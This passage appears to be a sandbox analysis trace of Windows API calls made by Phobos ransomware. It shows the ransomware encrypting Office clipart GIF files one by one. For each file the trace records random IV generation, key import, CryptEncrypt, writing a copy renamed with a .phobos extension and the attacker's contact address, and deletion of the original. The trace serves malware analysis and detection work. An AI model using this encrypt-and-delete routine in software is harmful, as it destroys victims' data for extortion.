[0054.835] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.836] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3251) returned 1 [0054.836] CloseHandle (hObject=0x31c) returned 1 [0054.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0054.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.836] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.836] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.837] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0054.837] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xcb3, lpOverlapped=0x0) returned 1 [0054.838] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xcc0) returned 1 [0054.838] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xcc0, lpOverlapped=0x0) returned 1 [0054.839] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0054.839] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.839] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.839] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0054.839] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.839] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0054.839] CloseHandle (hObject=0x31c) returned 1 [0054.839] CloseHandle (hObject=0x308) returned 1 [0054.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0054.841] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.841] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8097) returned 1 [0054.842] CloseHandle (hObject=0x308) returned 1 [0054.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0054.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.842] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.842] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.842] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0054.842] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1fa1, lpOverlapped=0x0) returned 1 [0054.844] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1fb0) returned 1 [0054.844] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1fb0, lpOverlapped=0x0) returned 1 [0054.845] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0054.845] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.845] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.845] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0054.845] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.846] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0054.846] CloseHandle (hObject=0x308) returned 1 [0054.846] CloseHandle (hObject=0x31c) returned 1 [0054.847] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0054.848] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.849] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7686) returned 1 [0054.849] CloseHandle (hObject=0x31c) returned 1 [0054.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0054.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.850] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.850] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.850] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0054.850] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.850] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1e06, lpOverlapped=0x0) returned 1 [0054.870] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e10) returned 1 [0054.870] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1e10, lpOverlapped=0x0) returned 1 [0055.157] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0055.157] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.157] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.157] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0055.157] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.157] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0055.157] CloseHandle (hObject=0x31c) returned 1 [0055.157] CloseHandle (hObject=0x308) returned 1 [0055.158] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0055.159] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.173] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=11891) returned 1 [0055.173] CloseHandle (hObject=0x308) returned 1 [0055.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0055.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.177] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.177] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.179] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0055.179] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.179] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2e73, lpOverlapped=0x0) returned 1 [0055.241] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2e80) returned 1 [0055.242] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2e80, lpOverlapped=0x0) returned 1 [0055.242] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0055.242] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.243] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.243] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0055.243] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.243] CryptDestroyKey (hKey=0x10cab0) returned 1 [0055.243] CloseHandle (hObject=0x308) returned 1 [0055.243] CloseHandle (hObject=0x31c) returned 1 [0055.244] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0055.245] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.246] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=517) returned 1 [0055.246] CloseHandle (hObject=0x31c) returned 1 [0055.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0055.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.246] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.246] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.246] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d030) returned 1 [0055.246] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.246] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x205, lpOverlapped=0x0) returned 1 [0055.247] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x210, dwBufLen=0x210 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x210) returned 1 [0055.247] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x210, lpOverlapped=0x0) returned 1 [0055.248] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0055.248] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.248] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.248] CryptDestroyKey (hKey=0x10cc70) returned 1 [0055.248] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.248] CryptDestroyKey (hKey=0x10d030) returned 1 [0055.248] CloseHandle (hObject=0x31c) returned 1 [0055.248] CloseHandle (hObject=0x308) returned 1 [0055.249] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0055.250] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.250] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=502) returned 1 [0055.250] CloseHandle (hObject=0x308) returned 1 [0055.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0055.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.251] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.251] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.251] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0055.251] CryptSetKeyParam 